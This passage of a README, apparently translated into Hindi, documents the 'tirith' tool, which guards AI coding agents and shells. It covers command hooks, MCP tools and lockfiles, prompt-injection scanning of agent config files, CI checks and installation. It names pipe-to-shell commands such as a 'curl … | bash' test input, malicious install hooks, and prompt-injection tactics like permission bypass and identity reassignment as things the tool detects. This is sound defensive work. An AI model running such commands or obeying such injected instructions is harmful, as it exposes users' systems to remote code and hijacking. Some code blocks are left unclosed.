| Team PCP / UNC1069 टूलिंग | जारी | समझौता-पश्चात क्रेडेंशियल स्वीप, `/proc/*/mem` स्क्रैपिंग, Docker विशेषाधिकार वृद्धि |
| [colors.js / faker.js तोड़फोड़](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | व्यापक रूप से उपयोग किए जाने वाले पैकेजों का लेखक द्वारा स्व-तोड़फोड़ |
| [event-stream समझौता](https://github.com/dominictarr/event-stream/issues/116) | 2018 | स्वामित्व हमलावर को हस्तांतरित; पेलोड ने Bitcoin वॉलेट को लक्षित किया |

पैकेज-नाम निष्कर्षण वर्तमान में भाषा पारिस्थितिक तंत्र (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle) को कवर करता है, डिस्ट्रो-स्तरीय पैकेज प्रबंधकों (`apt` / `dnf` / `yum` / `pacman`) को नहीं। यही कारण है कि xz-utils, जो Linux डिस्ट्रो टारबॉल के माध्यम से प्रवेश करता है, एक प्रमुख घटना होने के बावजूद तालिका में नहीं है।

---

## AI एजेंट सुरक्षा

Tirith AI कोडिंग एजेंटों के आसपास कई स्वतंत्र सुरक्षा परतें जोड़ता है:
कॉन्फ़िग स्कैनिंग, सहकारी MCP उपकरण, एक MCP गेटवे, इंटरैक्टिव-शेल
हुक, और होस्ट-नेटिव प्री-टूल हुक जहाँ होस्ट एक प्रलेखित
ब्लॉकिंग अनुबंध उजागर करता है। कवरेज इस पर निर्भर करता है कि होस्ट वास्तव में कौन सी परत लोड करता है।

### शेल हुक, निष्क्रिय कमांड इंटरसेप्शन

जब कोई AI एजेंट हुक किए गए इंटरैक्टिव शेल (Claude Code,
Codex, Cursor, आदि) के माध्यम से निष्पादित करता है, तो tirith का शेल हुक शेल द्वारा स्वीकार किए जाने से पहले उस इंटरैक्टिव कमांड की जाँच करता है। यह गैर-इंटरैक्टिव शेल, सीधे
`exec`, या ऐसी एजेंट प्रक्रिया को कवर नहीं करता जिसने कभी हुक लोड नहीं किया:

- **खतरनाक कमांड ब्लॉक करता है**: होमोग्राफ URL, पाइप-टू-शेल, असुरक्षित डाउनलोड
- **दुर्भावनापूर्ण पेस्ट ब्लॉक करता है**: ANSI इंजेक्शन, bidi हमले, पेस्ट की गई सामग्री में छिपी मल्टीलाइन
- **एजेंट-स्वतंत्र इंटरैक्टिव गेट**: जब वह एजेंट वास्तव में संरक्षित इंटरैक्टिव शेल का उपयोग करता है तो किसी एजेंट-विशिष्ट एकीकरण की आवश्यकता नहीं होती
- **शून्य एजेंट संशोधन**: कमांड ब्लॉक होने तक एजेंट को पता नहीं होता कि tirith मौजूद है

एक-कमांड कॉन्फ़िगरेशन के लिए `tirith setup <tool>` का उपयोग करें (देखें [AI एजेंट एकीकरण](#ai-agent-integrations))।

### MCP सर्वर (6 क्रॉस-प्लेटफ़ॉर्म उपकरण; Unix पर 7)

tirith को MCP सर्वर के रूप में पंजीकृत करने के लिए `tirith mcp-server` चलाएँ या `tirith setup <tool> --with-mcp` का उपयोग करें। AI एजेंट कार्रवाई करने से पहले इन उपकरणों को कॉल कर सकते हैं:

| उपकरण | यह क्या करता है |
|------|-------------|
| `tirith_check_command` | पाइप-टू-शेल, होमोग्राफ URL, env इंजेक्शन के लिए शेल कमांड का विश्लेषण करता है |
| `tirith_check_url` | होमोग्राफ हमलों, punycode ट्रिक्स, छोटे किए गए URL, कच्चे IP के लिए URL स्कोर करता है |
| `tirith_check_paste` | ANSI एस्केप, bidi नियंत्रण, शून्य-चौड़ाई वर्णों के लिए पेस्ट की गई सामग्री की जाँच करता है |
| `tirith_scan_file` | छिपी सामग्री, अदृश्य Unicode, कॉन्फ़िग ज़हरीकरण के लिए फ़ाइल स्कैन करता है |
| `tirith_scan_directory` | AI कॉन्फ़िग फ़ाइल प्राथमिकता के साथ पुनरावर्ती स्कैन |
| `tirith_verify_mcp_config` | असुरक्षित सर्वर, args में शेल इंजेक्शन, वाइल्डकार्ड उपकरणों के लिए MCP कॉन्फ़िग सत्यापित करता है |
| `tirith_fetch_cloaking` | सर्वर-साइड क्लोकिंग का पता लगाता है (बॉट्स बनाम ब्राउज़र के लिए भिन्न सामग्री) |

डिफ़ॉल्ट `tools/list` एक स्थिर संगतता अनुबंध है, क्योंकि क्लाइंट इसे कैश करते हैं और बिना घोषणा के प्रकट होने वाला उपकरण बदल देता है कि एजेंट क्या कॉल कर सकता है। इसलिए एक प्रीव्यू उपकरण, `tirith_check_task`, **डिफ़ॉल्ट रूप से विज्ञापित नहीं होता**: इसे विज्ञापित करने के लिए `TIRITH_MCP_PREVIEW=1 tirith mcp-server` चलाएँ, और उस ऑप्ट-इन के बिना नाम से इसे कॉल करने वाले क्लाइंट को नाम से अस्वीकार कर दिया जाता है। देखें
[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md)।

### MCP सर्वर गवर्नेंस

`tirith mcp lock` एक रेपो द्वारा घोषित प्रत्येक MCP सर्वर को कैप्चर करता है, `.mcp.json` / `mcp.json` / `mcp_settings.json` और IDE कॉन्फ़िग वेरिएंट (`.vscode/`, `.cursor/`, `.windsurf/`, `.cline/`, `.amazonq/`, `.continue/`, `.kiro/`) में, `.tirith/mcp.lock` पर एक नियतात्मक लॉकफ़ाइल में। प्रत्येक सर्वर को उसके ट्रांसपोर्ट (एक रिमोट URL, या एक स्थानीय कमांड + args), घोषित उपकरण, कवरेज मेटाडेटा, और एक सामग्री हैश के साथ रिकॉर्ड किया जाता है; सर्वर नाम/स्रोत द्वारा क्रमबद्ध होते हैं ताकि लॉकफ़ाइल diff-अनुकूल हो। अस्पष्ट या क्रेडेंशियल-युक्त घोषणाओं को स्रोत नियंत्रण में कॉपी करने के बजाय अस्वीकार कर दिया जाता है। पर्यावरण मान और URL userinfo केवल निश्चित उपस्थिति मार्करों द्वारा दर्शाए जाते हैं, कभी कच्चे मानों या नियतात्मक हैशों द्वारा नहीं: एक वेरिएबल या userinfo जोड़ना/हटाना अभी भी ड्रिफ्ट करता है, जबकि सीक्रेट रोटेशन जानबूझकर नहीं करता। V7 लॉकफ़ाइलों को इस v8 गोपनीयता मॉडल में माइग्रेट करने के लिए एक स्पष्ट पुनः-लॉक की आवश्यकता होती है। डिस्कवरी केवल रेपो-स्थानीय है और किसी नेटवर्क को स्पर्श नहीं करती। (`tirith mcp` `tirith mcp-server` से एक अलग कमांड समूह है, जो tirith को *एक* MCP सर्वर के रूप में चलाता है।)

`tirith mcp verify` गेटिंग साथी है: यह प्रतिबद्ध लॉकफ़ाइल के विरुद्ध वर्तमान इन्वेंट्री का पुनर्निर्माण करता है और ड्रिफ्ट या अपूर्ण/अस्वीकृत कॉन्फ़िग कवरेज पर 1 से बाहर निकलता है (0 मेल, उपयोग त्रुटियों जैसे अनुपस्थित लॉकफ़ाइल पर 2)। `tirith mcp diff` समान ड्रिफ्ट की सूचनात्मक रूप से रिपोर्ट करता है (हमेशा 0 से बाहर निकलता है, 2 केवल उपयोग त्रुटियों पर, ताकि एक उपभोक्ता "कोई ड्रिफ्ट नहीं" को "जाँच नहीं कर सका" से अलग बता सके)। ड्रिफ्ट `tirith scan` के माध्यम से `mcp_server_drift` (मध्यम या उच्च) के रूप में भी सामने आता है, इसलिए एक प्री-कमिट हुक या CI MCP-सतह परिवर्तन को उसी तरह पकड़ता है जैसे यह अन-पिन किए गए एक्शन को पकड़ता है। `verify` / `diff` कभी env मान या URL userinfos प्रिंट नहीं करते, केवल बदले गए नामों को।

दो नीति फ़ील्ड नियंत्रित करते हैं कि क्या स्वीकार किया जाता है। दोनों एक अपारदर्शी `mcp:v1:...` पहचान द्वारा कुंजीबद्ध हैं जो स्रोत पथ, सर्वर नाम, और ट्रांसपोर्ट को बांधती है: `scan.trusted_mcp_servers` उस सटीक सर्वर के कॉन्फ़िग निष्कर्षों और ड्रिफ्ट को दबाता है, जबकि `scan.mcp_allowed_tools` उन सटीक उपकरणों को घोषित करता है जिन्हें यह उजागर कर सकता है। बेयर नाम जानबूझकर कुछ भी मेल नहीं खाते, इसलिए किसी अन्य कॉन्फ़िग में समान-नाम वाला सर्वर विश्वास विरासत में नहीं ले सकता। एक स्पष्ट उपकरण अनुमति-सूची के लिए ऑपरेटर-अनुमोदित लाइव डिस्क्रिप्टर सेट की भी आवश्यकता होती है और यह स्थिर घोषणाओं और लाइव डिस्क्रिप्टर नामों दोनों की जाँच करता है। सटीक कुंजियों को `.tirith/mcp-policy.yaml.example` में स्कैफ़ोल्ड करने के लिए `tirith mcp policy init` चलाएँ, फिर निरीक्षित `tools/list` बेसलाइन को परमाणु रूप से कैप्चर करने के लिए गेटवे के `--mcp-server-identity ... --approve-descriptors` प्रवाह का उपयोग करें। प्रत्येक स्कैफ़ोल्ड प्रविष्टि टिप्पणीबद्ध है ताकि आयात कभी चुपचाप विश्वास को न बढ़ाए।

### कॉन्फ़िग फ़ाइल स्कैनिंग

`tirith scan` AI कॉन्फ़िग फ़ाइलों में प्रॉम्प्ट इंजेक्शन और छिपे पेलोड का पता लगाता है। यह 50+ ज्ञात AI कॉन्फ़िग फ़ाइल पैटर्न को प्राथमिकता देता है और स्कैन करता है:

- `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md`
- `.claude/` सेटिंग्स, एजेंट, स्किल्स, प्लगइन्स, नियम
- `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/` कॉन्फ़िग
- `mcp.json`, `.mcp.json`, `mcp_settings.json`
- `.github/copilot-instructions.md`, `.github/agents/*.md`

**कॉन्फ़िग में यह क्या पकड़ता है:**

- **प्रॉम्प्ट इंजेक्शन** (स्किल सक्रियण ट्रिगर, अनुमति बायपास प्रयास, सुरक्षा खारिज, पहचान पुनर्निर्धारण, क्रॉस-टूल ओवरराइड निर्देश)। प्रत्येक फ़ाइल को कच्चे और डीऑब्फस्केटेड (अदृश्य वर्ण, भ्रमकारी, अंतर-वर्ण रिक्ति, leetspeak, छोटा base64 / hex) दोनों रूपों में स्कैन किया जाता है, इसलिए एन्कोडिंग के पीछे छिपा बीज भी सक्रिय होता है
- **अदृश्य Unicode**: शून्य-चौड़ाई वर्ण (मंगोलियन Vowel Separator सहित), bidi नियंत्रण, सॉफ्ट हाइफ़न, Unicode टैग, Hangul फ़िलर, अदृश्य व्हाइटस्पेस एन्कोडिंग, गणितीय अल्फ़ान्यूमेरिक भ्रमकारी
- **MCP कॉन्फ़िग समस्याएँ**: असुरक्षित HTTP कनेक्शन, कच्चे IP सर्वर, args में शेल मेटाकैरेक्टर, डुप्लिकेट सर्वर नाम, वाइल्डकार्ड उपकरण पहुँच

### CI / रेपो सप्लाई-चेन स्कैनिंग

`tirith scan` उन फ़ाइलों का भी निरीक्षण करता है जिन्हें एक रेपो अपने स्वयं के बिल्ड और डिप्लॉय पाइपलाइन का वर्णन करने के लिए चेक इन करता है। यह खतरनाक *पैटर्न* का पता लगाता है, उपकरण का नहीं: एक SHA-पिन किया गया एक्शन, एक digest-पिन किया गया इमेज, एक स्थानीय Terraform मॉड्यूल, और एक सामान्य `package.json` साफ़ रहते हैं।

**CI / इंफ्रास्ट्रक्चर फ़ाइलों में यह क्या पकड़ता है:**

- **GitHub Actions वर्कफ़्लो** (`.github/workflows/*.yml`), एक कमिट SHA के बजाय एक परिवर्तनशील ref (`@v3`, `@main`) पर पिन किया गया एक्शन `uses:` संदर्भ; `pull_request_target` ट्रिगर; एक `run:` चरण में `curl … | bash` पाइप-टू-शेल; एक `run:` शेल चरण में इंटरपोलेट किया गया हमलावर-नियंत्रणीय `${{ github.event.* }}` मान (स्क्रिप्ट इंजेक्शन)
- **Dockerfiles**: परिवर्तनशील `latest` टैग (या कोई टैग नहीं) पर `FROM` बेस इमेज जिसमें कोई `@sha256:` digest पिन नहीं है
- **Terraform** (`*.tf`), एक स्थानीय पथ या Terraform Registry के बजाय रिमोट / अविश्वसनीय स्थान से सोर्स किया गया `module` ब्लॉक
- **Helm चार्ट** (`Chart.yaml`), एक अविश्वसनीय चार्ट रिपॉजिटरी से चार्ट निर्भरता
- **`package.json`**: एक `preinstall` / `install` / `postinstall` लाइफसाइकल स्क्रिप्ट जो एक खतरनाक कमांड चलाती है (पाइप-टू-शेल, ऑब्फस्केटेड पेलोड, डाउनलोड-एंड-रन); ये हुक `npm install` पर स्वचालित रूप से चलते हैं

तीन अंतर्निहित `--profile` मान स्कैन को ट्यून करते हैं: `ci-hardening` (प्रत्येक जाँच पूरी ताकत पर, fail-on `high`), `ai-agent-repo` (इंजेक्शन निष्कर्ष रखता है, कम-मूल्य वाले पिनिंग-हाइजीन शोर को हटाता है), और `oss-maintainer` (किसी परिवर्तन की समीक्षा करते समय योगदानकर्ता-नियंत्रणीय जोखिम पर जोर देता है)।```bash
tirith scan ./                          # scan the repo
tirith scan --profile ci-hardening ./   # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif

### Linux पैकेज

**Debian / Ubuntu (.deb):**

[GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) से डाउनलोड करें, फिर:```bash
sudo dpkg -i tirith_*_amd64.deb

Linux GNU रिलीज़ बाइनरीज़ GLIBC 2.28 की सीमा को लक्षित करती हैं। CI AlmaLinux 8, Amazon Linux 2023, और Rocky Linux 9 पर x86_64 और aarch64 दोनों tarballs चलाता है; `.deb` और x86_64 `.rpm` में वही canonical बाइनरीज़ होती हैं।

**Arch Linux (AUR):**```bash
yay -S tirith
# or: paru -S tirith

### Android (Termux)

Android/Termux Bionic libc पर चलता है, glibc पर नहीं, इसलिए `aarch64-unknown-linux-gnu`
बिल्ड वहाँ नहीं चल सकता, उसे glibc के डायनामिक लिंकर की आवश्यकता होती है। इसके बजाय
**musl** बिल्ड का उपयोग करें: `tirith-aarch64-unknown-linux-musl.tar.gz` स्टैटिकली लिंक्ड है और
बिना किसी बाहरी libc के Termux पर चलता है।```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version

> [!NOTE]
> Termux समर्थन best-effort है। musl artifact CI में बनाया और smoke-tested जाता है,
> लेकिन tirith अभी तक वास्तविक Android डिवाइस पर लगातार परीक्षण नहीं किया गया है।
> यदि Termux के अंतर्गत कोई hook गलत व्यवहार करता है, तो कृपया `tirith doctor`
> आउटपुट के साथ एक issue खोलें।

### Windows

Windows detection, scanning, webhooks, policy management, audit
uploads, और `tirith setup` का समर्थन करता है। PowerShell hook PSReadLine preflight
interception प्रदान करता है, लेकिन यह strict post-accept execution receipt का दावा नहीं करता।
Live remote-script execution और daemon mode Windows पर अनुपलब्ध रहते हैं।

**Scoop:**```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Chocolatey मॉडरेशन GitHub रिलीज़ से पीछे रह सकता है। वर्तमान में स्वीकृत संस्करण देखने के लिए `choco info tirith` चलाएँ। जब Chocolatey मॉडरेशन पूरा होने से पहले नवीनतम रिलीज़ की आवश्यकता हो, तो Scoop या [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) से एक हस्ताक्षरित आर्टिफ़ैक्ट का उपयोग करें।

### क्रॉस-प्लेटफ़ॉर्म

**npm:**```bash
npm install -g tirith

**[Mise](https://mise.jdx.dev/)** (आधिकारिक रजिस्ट्री):```bash
mise use -g tirith

**Docker:**```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

| Shell | Hook type | Tested on |
|-------|-----------|-----------|
| zsh | accept-line + paste widgets | 5.8+ |
| bash | enter-key macro or preexec (two modes) | 3.2 compatibility path; 5.0+ for the fully tested modern path |
| fish | Enter-key + paste handlers | 3.5+ |
| PowerShell | PSReadLine handler | 7.0+ |

Bash enter mode का उपयोग तब करता है जब एक capability self-test ने सिद्ध कर दिया हो कि यह आपके bash के लिए काम करता है, और अन्यथा preexec का। 0.4.1 से यह self-test stock GNU bash पर पास होता है, इसलिए एक बार `tirith setup` या `tirith doctor` इसे चला लेने के बाद enter mode सामान्य परिणाम है; shell hook startup पर cached verdict पढ़ता है। modes, self-test, और SSH fallback behavior के विवरण के लिए [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode) देखें।

macOS का system Bash 3.2 एक compatibility path बना हुआ है, आधुनिक blocking
baseline नहीं। इसका DEBUG-trap behavior trampoline को टिकने से रोक सकता है;
Tirith परिणामी degradation की घोषणा तब करता है जब उसका heartbeat इसे देख पाता है,
जो एक command बाद हो सकता है। जब कठोर Bash authorization gate आवश्यक हो तो Bash 5+ या एक सिद्ध enter-mode path का उपयोग करें।

> [!WARNING]
> Bash का preexec mode डिफ़ॉल्ट रूप से warn-only है। conditional blocking के लिए `TIRITH_BASH_PREEXEC_ENFORCE=1` सेट करें। Tirith भरोसेमंद typed line को एक बार scan करता है, अपना `extdebug` केवल block verdict के बाद सक्षम करता है, और `PROMPT_COMMAND` चलने से पहले उसे छोड़ देता है। यदि prompt boundaries या caller-owned DEBUG trap को सुरक्षित रूप से संरक्षित नहीं किया जा सकता, या `extdebug` पहले से user-enabled है, तो Tirith shell state को clobber करने के बजाय preexec interception को स्पष्ट रूप से बंद छोड़ देता है।

#### Enforcement by shell

| Shell | Behavior |
|---|---|
| bash **enter mode** | **Reliable blocking.** Enter को एक readline macro से bind करता है जो checker चलाता है और फिर एक guarded accept-line, ताकि bash के चलाने का संकल्प लेने से पहले एक command रोका जा सके। वहाँ चुना जाता है जहाँ capability self-test (`tirith doctor --simulate-enter`) ने चल रहे bash के लिए delivery और blocking सिद्ध कर दिया हो, जो 0.4.1 से stock GNU bash पर होता है। एक persisted safe-mode flag, एक SSH session, या forced `TIRITH_BASH_MODE=preexec` अभी भी preexec चुनता है। |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **Conditional blocking.** एक भरोसेमंद पूरी line को scan करता है, फिर Tirith-owned `extdebug` को केवल block के लिए चालू करता है और अगले prompt पर उसे बहाल करता है। मौजूदा string/array `PROMPT_COMMAND` entries अपना क्रम बनाए रखती हैं और scanning के बाहर चलती हैं। Enforcement स्पष्ट रूप से मना करता है या downgrade करता है जब history filtered हो या कोई alias / command substitution / `eval` typed line को `BASH_COMMAND` से drift करा दे; असुरक्षित prompt/DEBUG ownership या user-owned `extdebug` interception को स्पष्ट रूप से बंद छोड़ देता है बजाय user state को mutate करने के। |
| bash **preexec** (no enforce flag) | Warn-only. जोखिम भरे commands पर DETECTED banner प्रिंट करता है; block नहीं करता। वह fallback जब enter-mode self-test ने delivery काम करना सिद्ध नहीं किया हो, या जब enter mode अन्यथा अनुपलब्ध हो। |
| zsh, fish | अपने Enter/accept-line handlers में reliable blocking, native shell handoff से पहले। Notification-only preexec events को authorization gates नहीं माना जाता। |
| PowerShell | Reliable PSReadLine preflight blocking; कोई strict execution receipt नहीं। |
| nushell | Warn-only (वर्तमान में command interception का समर्थन नहीं करता)। |

bash पर line-level blocking के लिए, `tirith doctor --simulate-enter` चलाएँ; यदि delivery काम करती है, तो enter mode सक्षम है। जहाँ यह नहीं करती, वहाँ "जब संभव हो तो block करता है; जब नहीं कर सकता तो ईमानदारी से बताता है" के लिए preexec enforce का उपयोग करें।

Interactive bash, zsh, और fish preflight decision के बाद एक protocol-v3 execution receipt का उपयोग करते हैं। Hook load पर, वे एक absolute Tirith executable resolve और pin करते हैं और live shell process, shell family, session, user, और executable identity से bound एक one-time capability register करते हैं। एक receipt फिर `Prepared`, `Armed`, `Consuming`, और एक terminal `Committed`/`Conflict`/`Discarded` state से गुज़रती है। यह attribution और replay resistance को बेहतर बनाता है, लेकिन shell evidence को जानबूझकर unresolved दर्ज किया जाता है, न कि इस प्रमाण के रूप में कि हर command component execute हुआ। Tirith स्वयं armed receipt लौटाने से पहले किसी भी approval या warning-acknowledgement prompt का स्वामी है; hook उन तथ्यों को बाद में संलग्न नहीं कर सकता। Zsh और fish armed receipt को उसी line-acceptance handler में synchronously consume करते हैं और command को native shell को केवल उस transition के सफल होने के बाद सौंपते हैं। PowerShell में इस strict receipt protocol के बिना preflight blocking है।

एक nested shell को अपनी process-bound capability मिलती है भले ही वह session ID inherit करे। उसी process में hook को re-source करने पर कभी दूसरा bearer नहीं बनता। यदि `exec` एक live shell को उसकी PID/start identity बदले बिना replace कर दे, तो replacement जानबूझकर non-exported bearer को recover नहीं कर सकता और स्पष्ट रूप से degraded legacy mode में चलता है; strict receipts बहाल करने के लिए एक नया terminal या child shell शुरू करें। `exec "$SHELL"` receipt-protocol restart नहीं है क्योंकि यह उस process identity को संरक्षित रखता है।

**Nix / Home-Manager:** hook source होने के समय tirith आपके `$PATH` में होना चाहिए।
Bash, zsh, और fish फिर उस resolved executable को shell session के लिए pin कर देते हैं;
binary को replace या upgrade करने के बाद shell restart करें। इसे केवल
`initContent` में जोड़ना पर्याप्त नहीं है।```nix
home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';

**`tirith verify-self`** पुष्टि करता है कि चल रही बाइनरी किसी आधिकारिक रिलीज़ की असली, अपरिवर्तित बाइनरी है। यह आपके संस्करण और टारगेट के लिए रिलीज़ आर्काइव को फिर से डाउनलोड करता है, इसे हस्ताक्षरित रिलीज़ `checksums.txt` के विरुद्ध सत्यापित करता है, जब [`cosign`](https://github.com/sigstore/cosign) इंस्टॉल हो तो `checksums.txt` पर cosign हस्ताक्षर सत्यापित करता है, और पुष्टि करता है कि चल रही बाइनरी आधिकारिक बाइनरी के साथ बाइट-समान है। यदि पूर्ण सत्यापन संभव नहीं है, कोई लोकल dev बिल्ड, नेटवर्क नहीं, कोई ऐसा इंस्टॉल जिसे tirith पहचान नहीं सकता, तो यह झूठा "verified" रिपोर्ट करने के बजाय ईमानदारी से बताता है। `cosign` अनुपस्थित होने पर भी checksum सत्यापित होता है (`verified-checksum-only` के रूप में रिपोर्ट किया जाता है); पूर्ण हस्ताक्षर सत्यापन (`verified-signed`) के लिए `cosign` इंस्टॉल करें।

**`tirith update`** पैकेज-मैनेजर-जागरूक है:

- **पैकेज-मैनेजर इंस्टॉल** (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) कभी स्वयं-संशोधित नहीं होते। इसके बजाय tirith चलाने के लिए सटीक कमांड प्रिंट करता है, जैसे `brew upgrade tirith`। पैकेज मैनेजर के माध्यम से अपडेट करने से उसका डेटाबेस सुसंगत रहता है।
- **स्वयं-प्रतिस्थापन योग्य इंस्टॉल** (`install.sh` tarball, एक स्टैंडअलोन बाइनरी, या Hermes रूट (`HERMES_HOME`, या जब वह वेरिएबल सेट न हो तो `~/.hermes`; केवल Unix) के अंतर्गत कैश किया गया सुरक्षित रूप से स्वामित्व वाला Tirith रिलीज़) को यथास्थान अपडेट किया जाता है: tirith नवीनतम रिलीज़ डाउनलोड करता है, इसे सत्यापित करता है, फिर परमाणु रूप से बाइनरी की अदला-बदली करता है, पिछली बाइनरी को `tirith.tirith-previous` साइडकार के रूप में रखता है। cosign हस्ताक्षर **डिफ़ॉल्ट रूप से** सत्यापित किया जाता है: यदि इसे सत्यापित नहीं किया जा सकता (cosign अनुपस्थित, या रिलीज़ ने कोई हस्ताक्षर प्रकाशित नहीं किया) तो अपडेट रद्द हो जाता है। checksum-केवल सत्यापन पर वापस जाने के लिए `--allow-unsigned` पास करें; checksum बेमेल होने पर हमेशा रद्द हो जाता है। `tirith update --rollback` पिछली बाइनरी पर वापस लौटाता है; `--dry-run` बिना कुछ बदले दिखाता है कि क्या होगा। अपडेट स्पष्ट रहते हैं: Tirith कभी बैकग्राउंड में नई बाइनरी की जाँच या इंस्टॉल नहीं करता।

> [!NOTE]
> इंस्टॉल स्क्रिप्ट (`scripts/install.sh` और Windows `install.ps1`) भी **डिफ़ॉल्ट रूप से** रिलीज़ के cosign हस्ताक्षर सत्यापित करती हैं और यदि [`cosign`](https://github.com/sigstore/cosign) अनुपस्थित है या हस्ताक्षर सत्यापित नहीं किया जा सकता तो रद्द कर देती हैं। पहले `cosign` इंस्टॉल करें, या checksum-केवल सत्यापन के साथ इंस्टॉल करने के लिए `TIRITH_ALLOW_UNSIGNED=1` सेट करें (अनुशंसित नहीं)। इस opt-out के बावजूद checksum या हस्ताक्षर बेमेल होने पर हमेशा रद्द हो जाता है।

### Shell Integrations

**Oh-My-Zsh:**```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

The action's pinned dependencies use the Node 24 action runtime. Self-hosted
runners must use [Actions Runner v2.327.1 or newer](https://github.com/actions/runner/releases/tag/v2.327.1);
GitHub-hosted runners already satisfy this requirement.

Also available as a **pre-commit hook**: see `.pre-commit-hooks.yaml` in this repo.

Scan supports `--include`, `--exclude`, `--profile` (loads named profiles from policy), and `--ignore` filters for targeted CI scanning.

### Rule Documentation```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

x86_64 Linux पर, जब Tirith एक निश्चित root-प्रबंधित सिस्टम पथ पर इंस्टॉल होता है
और कमांड का URL, shell, arguments, और stdin व्यवहार सटीक रूप से डिकोड किया जा सकता है,
तो rewrite pipe-to-shell को Tirith के bounded, reviewed,
hash-verified, fail-closed capsule runner के माध्यम से रूट करता है। पूर्ण Tirith पथ बाद में `PATH` shadow को
जो चलता है उसे बदलने से रोकता है। निष्पादन के समय, runner यह भी
आवश्यक करता है कि चयनित interpreter का पहला `PATH` hit root-प्रबंधित हो, डाउनलोड करने से पहले
इसके bytes को bind करता है, और remote shebang पर भरोसा करने के बजाय उस shell को संरक्षित करता है। अन्य architectures, platforms, और उपयोगकर्ता-स्वामित्व वाली Tirith
इंस्टॉलेशन इस remediation को guidance के रूप में रखते हैं। curl के लिए, executable rewrites को अतिरिक्त रूप से
fail-on-HTTP-error और redirect-following semantics दोनों की आवश्यकता होती है (`-f` और `-L`, जिसमें
`-fsSL` जैसा bundle भी शामिल है)। Dynamic या malformed URL tokens, असमर्थित
interpreter arguments, PowerShell, Cmd, और ambiguous pipelines guidance-only रहते हैं। Executable suggestions
केवल verified, fail-closed pipe runner तक सीमित हैं। Archive, dotfile, TLS-flag removal, HTTP-to-HTTPS परिवर्तन, sudo
narrowing, environment scrubbing, और package-name corrections
guidance-only हैं क्योंकि उनके सटीक shell, network, privilege, environment,
या registry semantics mechanically provable नहीं हैं। किसी भी finding के लिए जिसमें
safe mechanical rewrite नहीं है, Tirith स्पष्ट रूप से ऐसा कहता है और remediation दिखाता है; यह कभी अनुमानित कमांड
नहीं देता। Flag advisory है: यह न तो verdict बदलता है और न ही exit code।

### Daemon Mode (Unix)

sub-millisecond latency और network-aware enrichment (shortened URL resolution, DNS blocklist checks) के लिए वैकल्पिक background process:```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop